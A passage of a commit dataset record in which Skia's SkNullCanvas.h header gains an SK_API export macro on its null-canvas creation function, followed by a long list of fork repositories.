chromium,M4sse\/chromium.src,crosswalk-project\/chromium-crosswalk-efl,pozdnyakov\/chromium-crosswalk,dushu1203\/chromium.src,nacl-webkit\/chrome_deps,mogoweb\/chromium-crosswalk,rogerwang\/chromium,jaruba\/chromium.src,rogerwang\/chromium,littlstar\/chromium.src,anirudhSK\/chromium,jaruba\/chromium.src,keishi\/chromium,PeterWangIntel\/chromium-crosswalk,jaruba\/chromium.src,hgl888\/chromium-crosswalk,hujiajie\/pa-chromium,hujiajie\/pa-chromium,Jonekee\/chromium.src,bright-sparks\/chromium-spacewalk,Fireblend\/chromium-crosswalk,dushu1203\/chromium.src,nacl-webkit\/chrome_deps,ChromiumWebApps\/chromium,keishi\/chromium,hgl888\/chromium-crosswalk,junmin-zhu\/chromium-rivertrail,mohamed--abdel-maksoud\/chromium.src,markYoungH\/chromium.src,Chilledheart\/chromium,chuan9\/chromium-crosswalk,PeterWangIntel\/chromium-crosswalk,ltilve\/chromium,axinging\/chromium-crosswalk,bright-sparks\/chromium-spacewalk,timopulkkinen\/BubbleFish,Just-D\/chromium-1,krieger-od\/nwjs_chromium.src,littlstar\/chromium.src,mohamed--abdel-maksoud\/chromium.src,M4sse\/chromium.src,mogoweb\/chromium-crosswalk,hgl888\/chromium-crosswalk-efl,dednal\/chromium.src,Jonekee\/chromium.src,PeterWangIntel\/chromium-crosswalk,jaruba\/chromium.src,ondra-novak\/chromium.src,mogoweb\/chromium-crosswalk,Chilledheart\/chromium,bright-sparks\/chromium-spacewalk,fujunwei\/chromium-crosswalk,axinging\/chromium-crosswalk,Fireblend\/chromium-crosswalk,ondra-novak\/chromium.src,fujunwei\/chromium-crosswalk,dushu1203\/chromium.src,hgl888\/chromium-crosswalk,ChromiumWebApps\/chromium,nacl-webkit\/chrome_deps,mohamed--abdel-maksoud\/chromium.src,littlstar\/chromium.src,rogerwang\/chromium,robclark\/chromium,Just-D\/chromium-1,keishi\/chromium,markYoungH\/chromium.src,Jonekee\/chromium.src,nacl-webkit\/chrome_deps,Chilledheart\/chromium,markYoungH\/chromium.src,Chilledheart\/chromium,ChromiumWebApps\/chromium,bright-sparks\/chromium-spacewalk,hgl888\/chromium-crosswalk-efl,hujiajie\/pa-chromium,ChromiumWebApps\/chromium,chuan9\/chromium-crosswalk,timopulkkinen\/BubbleFish,ltilve\/chromium,littlstar\/chromium.src,krieger-od\/nwjs_chromium.src,anirudhSK\/chromium,ltilve\/chromium,hgl888\/chromium-crosswalk,krieger-od\/nwjs_chromium.src,Jonekee\/chromium.src,PeterWangIntel\/chromium-crosswalk,hgl888\/chromium-crosswalk-efl,chuan9\/chromium-crosswalk,dednal\/chromium.src,crosswalk-project\/chromium-crosswalk-efl,markYoungH\/chromium.src,patrickm\/chromium.src,markYoungH\/chromium.src,hgl888\/chromium-crosswalk-efl,Pluto-tv\/chromium-crosswalk,M4sse\/chromium.src,robclark\/chromium,M4sse\/chromium.src,TheTypoMaster\/chromium-crosswalk,dednal\/chromium.src,hujiajie\/pa-chromium,littlstar\/chromium.src,TheTypoMaster\/chromium-crosswalk,pozdnyakov\/chromium-crosswalk,M4sse\/chromium.src,Just-D\/chromium-1,Pluto-tv\/chromium-crosswalk,mogoweb\/chromium-crosswalk,ondra-novak\/chromium.src,Pluto-tv\/chromium-crosswalk,junmin-zhu\/chromium-rivertrail,axinging\/chromium-crosswalk,ondra-novak\/chromium.src,pozdnyakov\/chromium-crosswalk,ltilve\/chromium,fujunwei\/chromium-crosswalk,chuan9\/chromium-crosswalk,robclark\/chromium,patrickm\/chromium.src,dushu1203\/chromium.src,rogerwang\/chromium,hujiajie\/pa-chromium,mogoweb\/chromium-crosswalk,crosswalk-project\/chromium-crosswalk-efl,krieger-od\/nwjs_chromium.src,krieger-od\/nwjs_chromium.src,krieger-od\/nwjs_chromium.src,junmin-zhu\/chromium-rivertrail,anirudhSK\/chromium,pozdnyakov\/chromium-crosswalk,fujunwei\/chromium-crosswalk,crosswalk-project\/chromium-crosswalk-efl,Fireblend\/chromium-crosswalk,Chilledheart\/chromium,markYoungH\/chromium.src,jaruba\/chromium.src,ChromiumWebApps\/chromium,keishi\/chromium,hujiajie\/pa-chromium,hujiajie\/pa-chromium,dednal\/chromium.src,mogoweb\/chromium-crosswalk,dushu1203\/chromium.src,nacl-webkit\/chrome_deps,littlstar\/chromium.src,crosswalk-project\/chromium-crosswalk-efl,keishi\/chromium,TheTypoMaster\/chromium-crosswalk,anirudhSK\/chromium,PeterWangIntel\/chromium-crosswalk,timopulkkinen\/BubbleFish,dednal\/chromium.src,zcbenz\/cefode-chromium,junmin-zhu\/chromium-rivertrail,hgl888\/chromium-crosswalk,rogerwang\/chromium,patrickm\/chromium.src,hgl888\/chromium-crosswalk-efl,krieger-od\/nwjs_chromium.src,timopulkkinen\/BubbleFish,timopulkkinen\/BubbleFish,mohamed--abdel-maksoud\/chromium.src,Jonekee\/chromium.src,timopulkkinen\/BubbleFish,anirudhSK\/chromium,pozdnyakov\/chromium-crosswalk,zcbenz\/cefode-chromium,mohamed--abdel-maksoud\/chromium.src,robclark\/chromium,ondra-novak\/chromium.src,Chilledheart\/chromium,krieger-od\/nwjs_chromium.src,dushu1203\/chromium.src,junmin-zhu\/chromium-rivertrail,anirudhSK\/chromium,junmin-zhu\/chromium-rivertrail,keishi\/chromium,crosswalk-project\/chromium-crosswalk-efl,axinging\/chromium-crosswalk,junmin-zhu\/chromium-rivertrail,anirudhSK\/chromium,nacl-webkit\/chrome_deps,anirudhSK\/chromium,robclark\/chromium,Pluto-tv\/chromium-crosswalk,fujunwei\/chromium-crosswalk,Chilledheart\/chromium,zcbenz\/cefode-chromium,axinging\/chromium-crosswalk,bright-sparks\/chromium-spacewalk,PeterWangIntel\/chromium-crosswalk,Just-D\/chromium-1,M4sse\/chromium.src,zcbenz\/cefode-chromium,axinging\/chromium-crosswalk,rogerwang\/chromium,jaruba\/chromium.src,markYoungH\/chromium.src,mohamed--abdel-maksoud\/chromium.src,TheTypoMaster\/chromium-crosswalk,littlstar\/chromium.src,jaruba\/chromium.src,ondra-novak\/chromium.src,krieger-od\/nwjs_chromium.src,zcbenz\/cefode-chromium,axinging\/chromium-crosswalk,mogoweb\/chromium-crosswalk,robclark\/chromium,patrickm\/chromium.src,timopulkkinen\/BubbleFish,crosswalk-project\/chromium-crosswalk-efl,patrickm\/chromium.src,pozdnyakov\/chromium-crosswalk,chuan9\/chromium-crosswalk"}
{"commit":"4151341273f8b57845f493d59734dc7bbbab8f47","old_file":"include\/utils\/SkNullCanvas.h","new_file":"include\/utils\/SkNullCanvas.h","old_contents":"\/*\n * Copyright 2012 Google Inc.\n *\n * Use of this source code is governed by a BSD-style license that can be\n * found in the LICENSE file.\n *\/\n\n#ifndef SkNullCanvas_DEFINED\n#define SkNullCanvas_DEFINED\n\n#include \"SkBitmap.h\"\n\nclass SkCanvas;\n\n\/**\n * Creates a canvas that draws nothing. This is useful for performance testing.\n *\/\nSkCanvas* SkCreateNullCanvas();\n\n#endif\n","new_contents":"\/*\n * Copyright 2012 Google Inc.\n *\n * Use of this source code is governed by a BSD-style license that can be\n * found in the LICENSE file.\n *\/\n\n#ifndef SkNullCanvas_DEFINED\n#define SkNullCanvas_DEFINED\n\n#include \"SkBitmap.h\"\n\nclass SkCanvas;\n\n\/**\n * Creates a canvas that draws nothing. This is useful for performance testing.\n *\/\nSK_API SkCanvas* SkCreateNullCanvas();\n\n#endif\n","subject":"Add SK_API to null canvas create method","message":"Add SK_API to null canvas create method\n\n\n\ngit-svn-id: e8541e15acce502a64c929015570ad1648e548cd@4221 2bbb7eff-a529-9590-31e7-b0007b416f81\n","lang":"C","license":"bsd-3-clause","repos":"MonkeyZZZZ\/platform_external_skia,mydongistiny\/android_external_skia,sigysmund\/platform_external_skia,SlimSaber\/android_external_skia,TeamTwisted\/external_skia,timduru\/platform-external-skia,aospo\/platform_external_skia,geekboxzone\/lollipop_external_chromium_org_third_party_skia,Infinitive-OS\/platform_external_skia,TeamTwisted\/external_skia,todotodoo\/skia,UBERMALLOW\/external_skia,pacerom\/external_skia,MinimalOS\/external_skia,android-ia\/platform_external_chromium_org_third_party_skia,Tesla-Redux\/android_external_skia,mmatyas\/skia,OneRom\/external_skia,Android-AOSP\/external_skia,shahrzadmn\/skia,Plain-Andy\/android_platform_external_skia,OptiPop\/external_chromium_org_third_party_skia,TeslaProject\/external_skia,Jichao\/skia,scroggo\/skia,MonkeyZZZZ\/platform_external_skia,geekboxzone\/lollipop_external_chromium_org_third_party_skia,OptiPop\/external_chromium_org_third_party_skia,Omegaphora\/external_chromium_org_third_party_skia,android-ia\/platform_external_chromium_org_third_party_skia,xin3liang\/platform_external_chromium_org_third_party_skia,scroggo\/skia,HalCanary\/skia-hc,ominux\/skia,MonkeyZZZZ\/platform_external_skia,google\/skia,Infinitive-OS\/platform_external_skia,codeaurora-unoffical\/platform-external-skia,DARKPOP\/external_chromium_org_third_party_skia,FusionSP\/android_external_skia,TeamTwisted\/external_skia,akiss77\/skia,mydongistiny\/android_external_skia,CyanogenMod\/android_external_chromium_org_third_party_skia,HalCanary\/skia-hc,zhaochengw\/platform_external_skia,spezi77\/android_external_skia,Tesla-Redux\/android_external_skia,HealthyHoney\/temasek_SKIA,MyAOSP\/external_chromium_org_third_party_skia,pacerom\/external_skia,MinimalOS-AOSP\/platform_external_skia,geekboxzone\/lollipop_external_skia,AndroidOpenDevelopment\/android_external_skia,SlimSaber\/android_external_skia,mydongistiny\/android_external_skia,geekboxzone\/lollipop_external_skia,DesolationStaging\/android_external_skia,zhaochengw\/platform_external_skia,ctiao\/platform-external-skia,tmpvar\/skia.cc,HalCanary\/skia-hc,PAC-ROM\/android_external_skia,nvoron23\/skia,MinimalOS\/android_external_chromium_org_third_party_skia,Khaon\/android_external_skia,MinimalOS\/android_external_skia,pcwalton\/skia,qrealka\/skia-hc,BrokenROM\/external_skia,InfinitiveOS\/external_skia,Fusion-Rom\/android_external_skia,pcwalton\/skia,geekboxzone\/mmallow_external_skia,qrealka\/skia-hc,nox\/skia,shahrzadmn\/skia,ominux\/skia,geekboxzone\/mmallow_external_skia,houst0nn\/external_skia,UBERMALLOW\/external_skia,aosp-mirror\/platform_external_skia,AOSPA-L\/android_external_skia,HealthyHoney\/temasek_SKIA,invisiblek\/android_external_skia,larsbergstrom\/skia,Plain-Andy\/android_platform_external_skia,Jichao\/skia,Jichao\/skia,google\/skia,android-ia\/platform_external_chromium_org_third_party_skia,geekboxzone\/mmallow_external_skia,sombree\/android_external_skia,ench0\/external_skia,google\/skia,FusionSP\/external_chromium_org_third_party_skia,sudosurootdev\/external_skia,w3nd1go\/android_external_skia,GladeRom\/android_external_skia,mydongistiny\/android_external_skia,OptiPop\/external_skia,sombree\/android_external_skia,tmpvar\/skia.cc,wildermason\/external_skia,MyAOSP\/external_chromium_org_third_party_skia,noselhq\/skia,VRToxin-AOSP\/android_external_skia,Omegaphora\/external_chromium_org_third_party_skia,pacerom\/external_skia,fire855\/android_external_skia,MarshedOut\/android_external_skia,DiamondLovesYou\/skia-sys,YUPlayGodDev\/platform_external_skia,ctiao\/platform-external-skia,vanish87\/skia,chenlian2015\/skia_from_google,tmpvar\/skia.cc,TeamTwisted\/external_skia,AndroidOpenDevelopment\/android_external_skia,TeamExodus\/external_skia,vvuk\/skia,ominux\/skia,TeamBliss-LP\/android_external_skia,mydongistiny\/external_chromium_org_third_party_skia,aospo\/platform_external_skia,Hikari-no-Tenshi\/android_external_skia,ench0\/external_skia,samuelig\/skia,Hikari-no-Tenshi\/android_external_skia,InfinitiveOS\/external_skia,sudosurootdev\/external_skia,xzzz9097\/android_external_skia,larsbergstrom\/skia,byterom\/android_external_skia,houst0nn\/external_skia,MinimalOS-AOSP\/platform_external_skia,TeslaOS\/android_external_skia,nfxosp\/platform_external_skia,aosp-mirror\/platform_external_skia,w3nd1go\/android_external_skia,scroggo\/skia,OneRom\/external_skia,nfxosp\/platform_external_skia,OptiPop\/external_skia,Android-AOSP\/external_skia,DesolationStaging\/android_external_skia,Hybrid-Rom\/external_skia,YUPlayGodDev\/platform_external_skia,TeamExodus\/external_skia,F-AOSP\/platform_external_skia,MinimalOS\/external_chromium_org_third_party_skia,zhaochengw\/platform_external_skia,AOSP-YU\/platform_external_skia,tmpvar\/skia.cc,Jichao\/skia,YUPlayGodDev\/platform_external_skia,MinimalOS\/android_external_chromium_org_third_party_skia,BrokenROM\/external_skia,aospo\/platform_external_skia,temasek\/android_external_skia,xzzz9097\/android_external_skia,xin3liang\/platform_external_chromium_org_third_party_skia,shahrzadmn\/skia,timduru\/platform-external-skia,aosp-mirror\/platform_external_skia,ominux\/skia,YUPlayGodDev\/platform_external_skia,jtg-gg\/skia,nox\/skia,Jichao\/skia,chenlian2015\/skia_from_google,TeamEOS\/external_chromium_org_third_party_skia,Pure-Aosp\/android_external_skia,byterom\/android_external_skia,mozilla-b2g\/external_skia,MinimalOS\/android_external_skia,Omegaphora\/external_skia,HalCanary\/skia-hc,PAC-ROM\/android_external_skia,HalCanary\/skia-hc,AOSPU\/external_chromium_org_third_party_skia,Hikari-no-Tenshi\/android_external_skia,byterom\/android_external_skia,TeamExodus\/external_skia,codeaurora-unoffical\/platform-external-skia,wildermason\/external_skia,tmpvar\/skia.cc,samuelig\/skia,timduru\/platform-external-skia,Fusion-Rom\/external_chromium_org_third_party_skia,w3nd1go\/android_external_skia,MinimalOS\/external_chromium_org_third_party_skia,sombree\/android_external_skia,suyouxin\/android_external_skia,DesolationStaging\/android_external_skia,amyvmiwei\/skia,UBERMALLOW\/external_skia,Jichao\/skia,TeamEOS\/external_chromium_org_third_party_skia,larsbergstrom\/skia,akiss77\/skia,codeaurora-unoffical\/platform-external-skia,geekboxzone\/mmallow_external_skia,nfxosp\/platform_external_skia,boulzordev\/android_external_skia,Hybrid-Rom\/external_skia,SlimSaber\/android_external_skia,GladeRom\/android_external_skia,Hybrid-Rom\/external_skia,TeamEOS\/external_skia,aosp-mirror\/platform_external_skia,Infusion-OS\/android_external_skia,chenlian2015\/skia_from_google,spezi77\/android_external_skia,PAC-ROM\/android_external_skia,MinimalOS\/android_external_skia,ench0\/external_skia,MinimalOS\/android_external_chromium_org_third_party_skia,vvuk\/skia,pcwalton\/skia,Plain-Andy\/android_platform_external_skia,pcwalton\/skia,akiss77\/skia,google\/skia,VentureROM-L\/android_external_skia,AOSPA-L\/android_external_skia,nvoron23\/skia,Infusion-OS\/android_external_skia,GladeRom\/android_external_skia,pacerom\/external_skia,SlimSaber\/android_external_skia,fire855\/android_external_skia,rubenvb\/skia,amyvmiwei\/skia,Jichao\/skia,nox\/skia,TeamEOS\/external_chromium_org_third_party_skia,AOSPA-L\/android_external_skia,Pure-Aosp\/android_external_skia,scroggo\/skia,spezi77\/android_external_skia,Omegaphora\/external_skia,OneRom\/external_skia,ench0\/external_chromium_org_third_party_skia,ench0\/external_chromium_org_third_party_skia,mozilla-b2g\/external_skia,BrokenROM\/external_skia,MinimalOS\/android_external_chromium_org_third_party_skia,Khaon\/android_external_skia,ominux\/skia,shahrzadmn\/skia,SlimSaber\/android_external_skia,nvoron23\/skia,temasek\/android_external_skia,Samsung\/skia,RadonX-ROM\/external_skia,xin3liang\/platform_external_chromium_org_third_party_skia,byterom\/android_external_skia,TeamTwisted\/external_skia,AOSP-YU\/platform_external_skia,noselhq\/skia,RadonX-ROM\/external_skia,nfxosp\/platform_external_skia,OptiPop\/external_skia,MinimalOS-AOSP\/platform_external_skia,Hybrid-Rom\/external_skia,AndroidOpenDevelopment\/android_external_skia,HalCanary\/skia-hc,MarshedOut\/android_external_skia,Purity-Lollipop\/platform_external_skia,Pure-Aosp\/android_external_skia,Samsung\/skia,HalCanary\/skia-hc,pcwalton\/skia,geekboxzone\/lollipop_external_skia,OptiPop\/external_chromium_org_third_party_skia,VentureROM-L\/android_external_skia,mydongistiny\/external_chromium_org_third_party_skia,vvuk\/skia,mmatyas\/skia,AOSPU\/external_chromium_org_third_party_skia,MIPS\/external-chromium_org-third_party-skia,ench0\/external_chromium_org_third_party_skia,ench0\/external_skia,sudosurootdev\/external_skia,AOSPB\/external_skia,MinimalOS-AOSP\/platform_external_skia,TeslaProject\/external_skia,w3nd1go\/android_external_skia,UBERMALLOW\/external_skia,AndroidOpenDevelopment\/android_external_skia,fire855\/android_external_skia,houst0nn\/external_skia,NamelessRom\/android_external_skia,UBERMALLOW\/external_skia,aosp-mirror\/platform_external_skia,MinimalOS\/external_chromium_org_third_party_skia,akiss77\/skia,android-ia\/platform_external_skia,mydongistiny\/external_chromium_org_third_party_skia,Infinitive-OS\/platform_external_skia,mmatyas\/skia,Infinitive-OS\/platform_external_skia,ench0\/external_chromium_org_third_party_skia,VRToxin-AOSP\/android_external_skia,DARKPOP\/external_chromium_org_third_party_skia,geekboxzone\/mmallow_external_skia,nox\/skia,VRToxin-AOSP\/android_external_skia,byterom\/android_external_skia,OneRom\/external_skia,android-ia\/platform_external_chromium_org_third_party_skia,Igalia\/skia,TeamTwisted\/external_skia,YUPlayGodDev\/platform_external_skia,Asteroid-Project\/android_external_skia,mydongistiny\/external_chromium_org_third_party_skia,Khaon\/android_external_skia,spezi77\/android_external_skia,aospo\/platform_external_skia,MinimalOS\/android_external_chromium_org_third_party_skia,sudosurootdev\/external_skia,Infusion-OS\/android_external_skia,Plain-Andy\/android_platform_external_skia,tmpvar\/skia.cc,boulzordev\/android_external_skia,Fusion-Rom\/external_chromium_org_third_party_skia,VentureROM-L\/android_external_skia,boulzordev\/android_external_skia,xzzz9097\/android_external_skia,Infinitive-OS\/platform_external_skia,timduru\/platform-external-skia,Purity-Lollipop\/platform_external_skia,spezi77\/android_external_skia,VentureROM-L\/android_external_skia,TeamBliss-LP\/android_external_skia,DesolationStaging\/android_external_skia,xin3liang\/platform_external_chromium_org_third_party_skia,OneRom\/external_skia,android-ia\/platform_external_chromium_org_third_party_skia,HealthyHoney\/temasek_SKIA,Fusion-Rom\/android_external_skia,todotodoo\/skia,MIPS\/external-chromium_org-third_party-skia,Fusion-Rom\/external_chromium_org_third_party_skia,TeamEOS\/external_chromium_org_third_party_skia,xin3liang\/platform_external_chromium_org_third_party_skia,shahrzadmn\/skia,Fusion-Rom\/external_chromium_org_third_party_skia,Khaon\/android_external_skia,nvoron23\/skia,geekboxzone\/lollipop_external_chromium_org_third_party_skia,MarshedOut\/android_external_skia,Euphoria-OS-Legacy\/android_external_skia,aosp-mirror\/platform_external_skia,TeamEOS\/external_skia,AsteroidOS\/android_external_skia,ominux\/skia,MinimalOS\/external_chromium_org_third_party_skia,mydongistiny\/android_external_skia,mozilla-b2g\/external_skia,SlimSaber\/android_external_skia,Plain-Andy\/android_platform_external_skia,temasek\/android_external_skia,mmatyas\/skia,rubenvb\/skia,vvuk\/skia,Samsung\/skia,GladeRom\/android_external_skia,DiamondLovesYou\/skia-sys,samuelig\/skia,Omegaphora\/external_chromium_org_third_party_skia,chenlian2015\/skia_from_google,OptiPop\/external_skia,AOSPA-L\/android_external_skia,amyvmiwei\/skia,MinimalOS\/android_external_skia,mozilla-b2g\/external_skia,sudosurootdev\/external_skia,HalCanary\/skia-hc,xin3liang\/platform_external_chromium_org_third_party_skia,google\/skia,DesolationStaging\/android_external_skia,tmpvar\/skia.cc,mmatyas\/skia,InfinitiveOS\/external_skia,Infusion-OS\/android_external_skia,boulzordev\/android_external_skia,mmatyas\/skia,scroggo\/skia,SlimSaber\/android_external_skia,OptiPop\/external_chromium_org_third_party_skia,Omegaphora\/external_skia,TeamBliss-LP\/android_external_skia,FusionSP\/external_chromium_org_third_party_skia,Samsung\/skia,timduru\/platform-external-skia,w3nd1go\/android_external_skia,noselhq\/skia,xzzz9097\/android_external_skia,Android-AOSP\/external_skia,F-AOSP\/platform_external_skia,VentureROM-L\/android_external_skia,aosp-mirror\/platform_external_skia,PAC-ROM\/android_external_skia,Android-AOSP\/external_skia,Euphoria-OS-Legacy\/android_external_skia,w3nd1go\/android_external_skia,ench0\/external_skia,Asteroid-Project\/android_external_skia,wildermason\/external_skia,mozilla-b2g\/external_skia,aospo\/platform_external_skia,BrokenROM\/external_skia,vvuk\/skia,rubenvb\/skia,MinimalOS\/android_external_chromium_org_third_party_skia,FusionSP\/android_external_skia,TeamEOS\/external_skia,AsteroidOS\/android_external_skia,pcwalton\/skia,geekboxzone\/lollipop_external_skia,chenlian2015\/skia_from_google,nvoron23\/skia,DARKPOP\/external_chromium_org_third_party_skia,vanish87\/skia,pacerom\/external_skia,TeamEOS\/external_chromium_org_third_party_skia,noselhq\/skia,OptiPop\/external_chromium_org_third_party_skia,chenlian2015\/skia_from_google,nfxosp\/platform_external_skia,MarshedOut\/android_external_skia,Infinitive-OS\/platform_external_skia,VentureROM-L\/android_external_skia,codeaurora-unoffical\/platform-external-skia,larsbergstrom\/skia,Omegaphora\/external_skia,wildermason\/external_skia,vanish87\/skia,MinimalOS\/external_skia,MIPS\/external-chromium_org-third_party-skia,CyanogenMod\/android_external_chromium_org_third_party_skia,AOSP-YU\/platform_external_skia,invisiblek\/android_external_skia,OptiPop\/external_chromium_org_third_party_skia,Fusion-Rom\/external_chromium_org_third_party_skia,OneRom\/external_skia,w3nd1go\/android_external_skia,OneRom\/external_skia,DARKPOP\/external_chromium_org_third_party_skia,DesolationStaging\/android_external_skia,PAC-ROM\/android_external_skia,larsbergstrom\/skia,UBERMALLOW\/external_skia,AOSP-YU\/platform_external_skia,Asteroid-Project\/android_external_skia,nfxosp\/platform_external_skia,MIPS\/external-chromium_org-third_party-skia,ominux\/skia,sombree\/android_external_skia,VRToxin-AOSP\/android_external_skia,scroggo\/skia,YUPlayGodDev\/platform_external_skia,byterom\/android_external_skia,vanish87\/skia,akiss77\/skia,DesolationStaging\/android_external_skia,NamelessRom\/android_external_skia,AOSPU\/external_chromium_org_third_party_skia,Fusion-Rom\/external_chromium_org_third_party_skia,CyanogenMod\/android_external_chromium_org_third_party_skia,PAC-ROM\/android_external_skia,MarshedOut\/android_external_skia,AsteroidOS\/android_external_skia,noselhq\/skia,MinimalOS\/external_skia,Omegaphora\/external_chromium_org_third_party_skia,fire855\/android_external_skia,zhaochengw\/platform_external_skia,Omegaphora\/external_chromium_org_third_party_skia,mmatyas\/skia,AOSPB\/external_skia,AOSPB\/external_skia,mozilla-b2g\/external_skia,TeslaProject\/external_skia,Infinitive-OS\/platform_external_skia,geekboxzone\/lollipop_external_skia,InfinitiveOS\/external_skia,nfxosp\/platform_external_skia,larsbergstrom\/skia,MonkeyZZZZ\/platform_external_skia,FusionSP\/external_chromium_org_third_party_skia,Android-AOSP\/external_skia,TeamExodus\/external_skia,google\/skia,sigysmund\/platform_external_skia,MinimalOS\/external_chromium_org_third_party_skia,NamelessRom\/android_external_skia,Euphoria-OS-Legacy\/android_external_skia,sigysmund\/platform_external_skia,NamelessRom\/android_external_skia,amyvmiwei\/skia,suyouxin\/android_external_skia,DiamondLovesYou\/skia-sys,tmpvar\/skia.cc,ctiao\/platform-external-skia,nvoron23\/skia,amyvmiwei\/skia,google\/skia,Purity-Lollipop\/platform_external_skia,Plain-Andy\/android_platform_external_skia,DiamondLovesYou\/skia-sys,tmpvar\/skia.cc,TeslaOS\/android_external_skia,TeamEOS\/external_chromium_org_third_party_skia,nvoron23\/skia,wildermason\/external_skia,spezi77\/android_external_skia,xzzz9097\/android_external_skia,MinimalOS\/external_skia,houst0nn\/external_skia,qrealka\/skia-hc,Infinitive-OS\/platform_external_skia,MIPS\/external-chromium_org-third_party-skia,ench0\/external_skia,ctiao\/platform-external-skia,invisiblek\/android_external_skia,sombree\/android_external_skia,boulzordev\/android_external_skia,google\/skia,MinimalOS\/external_skia,xzzz9097\/android_external_skia,MyAOSP\/external_chromium_org_third_party_skia,android-ia\/platform_external_chromium_org_third_party_skia,todotodoo\/skia,Omegaphora\/external_chromium_org_third_party_skia,Fusion-Rom\/android_external_skia,fire855\/android_external_skia,AOSPB\/external_skia,TeamEOS\/external_skia,MinimalOS\/android_external_chromium_org_third_party_skia,FusionSP\/external_chromium_org_third_party_skia,xzzz9097\/android_external_skia,akiss77\/skia,codeaurora-unoffical\/platform-external-skia,AOSPU\/external_chromium_org_third_party_skia,DiamondLovesYou\/skia-sys,temasek\/android_external_skia,Asteroid-Project\/android_external_skia,qrealka\/skia-hc,Jichao\/skia,geekboxzone\/lollipop_external_skia,AOSPU\/external_chromium_org_third_party_skia,geekboxzone\/mmallow_external_skia,TeslaProject\/external_skia,sudosurootdev\/external_skia,aospo\/platform_external_skia,TeslaOS\/android_external_skia,fire855\/android_external_skia,AndroidOpenDevelopment\/android_external_skia,temasek\/android_external_skia,larsbergstrom\/skia,Tesla-Redux\/android_external_skia,mmatyas\/skia,Fusion-Rom\/external_chromium_org_third_party_skia,Pure-Aosp\/android_external_skia,F-AOSP\/platform_external_skia,todotodoo\/skia,samuelig\/skia,pcwalton\/skia,Khaon\/android_external_skia,Infusion-OS\/android_external_skia,MyAOSP\/external_chromium_org_third_party_skia,vanish87\/skia,pcwalton\/skia,DARKPOP\/external_chromium_org_third_party_skia,mydongistiny\/external_chromium_org_third_party_skia,aospo\/platform_external_skia,qrealka\/skia-hc,YUPlayGodDev\/platform_external_skia,suyouxin\/android_external_skia,TeamEOS\/external_skia,Hybrid-Rom\/external_skia,android-ia\/platform_external_chromium_org_third_party_skia,Asteroid-Project\/android_external_skia,amyvmiwei\/skia,BrokenROM\/external_skia,MinimalOS-AOSP\/platform_external_skia,NamelessRom\/android_external_skia,AOSPB\/external_skia,Tesla-Redux\/android_external_skia,nox\/skia,HealthyHoney\/temasek_SKIA,TeamExodus\/external_skia,OptiPop\/external_skia,MinimalOS\/external_skia,Pure-Aosp\/android_external_skia,RadonX-ROM\/external_skia,sombree\/android_external_skia,rubenvb\/skia,F-AOSP\/platform_external_skia,byterom\/android_external_skia,Samsung\/skia,pacerom\/external_skia,UBERMALLOW\/external_skia,Hybrid-Rom\/external_skia,Omegaphora\/external_skia,Khaon\/android_external_skia,FusionSP\/external_chromium_org_third_party_skia,zhaochengw\/platform_external_skia,timduru\/platform-external-skia,samuelig\/skia,VentureROM-L\/android_external_skia,Pure-Aosp\/android_external_skia,suyouxin\/android_external_skia,geekboxzone\/mmallow_external_skia,TeamTwisted\/external_skia,aosp-mirror\/platform_external_skia,CyanogenMod\/android_external_chromium_org_third_party_skia,nox\/skia,mozilla-b2g\/external_skia,android-ia\/platform_external_skia,noselhq\/skia,android-ia\/platform_external_skia,Asteroid-Project\/android_external_skia,MarshedOut\/android_external_skia,shahrzadmn\/skia,AOSP-YU\/platform_external_skia,mydongistiny\/external_chromium_org_third_party_skia,nox\/skia,VRToxin-AOSP\/android_external_skia,MinimalOS-AOSP\/platform_external_skia,TeslaOS\/android_external_skia,MyAOSP\/external_chromium_org_third_party_skia,TeamExodus\/external_skia,Infinitive-OS\/platform_external_skia,MinimalOS\/external_skia,jtg-gg\/skia,MinimalOS\/android_external_skia,TeamEOS\/external_chromium_org_third_party_skia,Igalia\/skia,akiss77\/skia,Hybrid-Rom\/external_skia,shahrzadmn\/skia,AsteroidOS\/android_external_skia,Euphoria-OS-Legacy\/android_external_skia,geekboxzone\/lollipop_external_chromium_org_third_party_skia,nfxosp\/platform_external_skia,PAC-ROM\/android_external_skia,larsbergstrom\/skia,codeaurora-unoffical\/platform-external-skia,Hikari-no-Tenshi\/android_external_skia,AsteroidOS\/android_external_skia,todotodoo\/skia,TeamTwisted\/external_skia,Omegaphora\/external_chromium_org_third_party_skia,MarshedOut\/android_external_skia,TeslaOS\/android_external_skia,boulzordev\/android_external_skia,AOSPU\/external_chromium_org_third_party_skia,suyouxin\/android_external_skia,NamelessRom\/android_external_skia,F-AOSP\/platform_external_skia,VRToxin-AOSP\/android_external_skia,MinimalOS-AOSP\/platform_external_skia,RadonX-ROM\/external_skia,vvuk\/skia,suyouxin\/android_external_skia,temasek\/android_external_skia,RadonX-ROM\/external_skia,MinimalOS-AOSP\/platform_external_skia,Android-AOSP\/external_skia,VRToxin-AOSP\/android_external_skia,AsteroidOS\/android_external_skia,ench0\/external_chromium_org_third_party_skia,MIPS\/external-chromium_org-third_party-skia,Samsung\/skia,ench0\/external_chromium_org_third_party_skia,Hikari-no-Tenshi\/android_external_skia,Pure-Aosp\/android_external_skia,Tesla-Redux\/android_external_skia,android-ia\/platform_external_skia,rubenvb\/skia,android-ia\/platform_external_skia,TeamBliss-LP\/android_external_skia,Purity-Lollipop\/platform_external_skia,TeamBliss-LP\/android_external_skia,OneRom\/external_skia,zhaochengw\/platform_external_skia,ominux\/skia,AOSP-YU\/platform_external_skia,Igalia\/skia,invisiblek\/android_external_skia,MIPS\/external-chromium_org-third_party-skia,nfxosp\/platform_external_skia,invisiblek\/android_external_skia,fire855\/android_external_skia,shahrzadmn\/skia,MinimalOS\/external_chromium_org_third_party_skia,TeamBliss-LP\/android_external_skia,ctiao\/platform-external-skia,todotodoo\/skia,MonkeyZZZZ\/platform_external_skia,zhaochengw\/platform_external_skia,TeamEOS\/external_skia,Khaon\/android_external_skia,Igalia\/skia,F-AOSP\/platform_external_skia,F-AOSP\/platform_external_skia,amyvmiwei\/skia,Asteroid-Project\/android_external_skia,android-ia\/platform_external_chromium_org_third_party_skia,Tesla-Redux\/android_external_skia,AsteroidOS\/android_external_skia,Android-AOSP\/external_skia,Omegaphora\/external_skia,vanish87\/skia,w3nd1go\/android_external_skia,qrealka\/skia-hc,Igalia\/skia,MyAOSP\/external_chromium_org_third_party_skia,MinimalOS\/external_skia,geekboxzone\/mmallow_external_skia,RadonX-ROM\/external_skia,FusionSP\/android_external_skia,xzzz9097\/android_external_skia,HealthyHoney\/temasek_SKIA,vvuk\/skia,GladeRom\/android_external_skia,BrokenROM\/e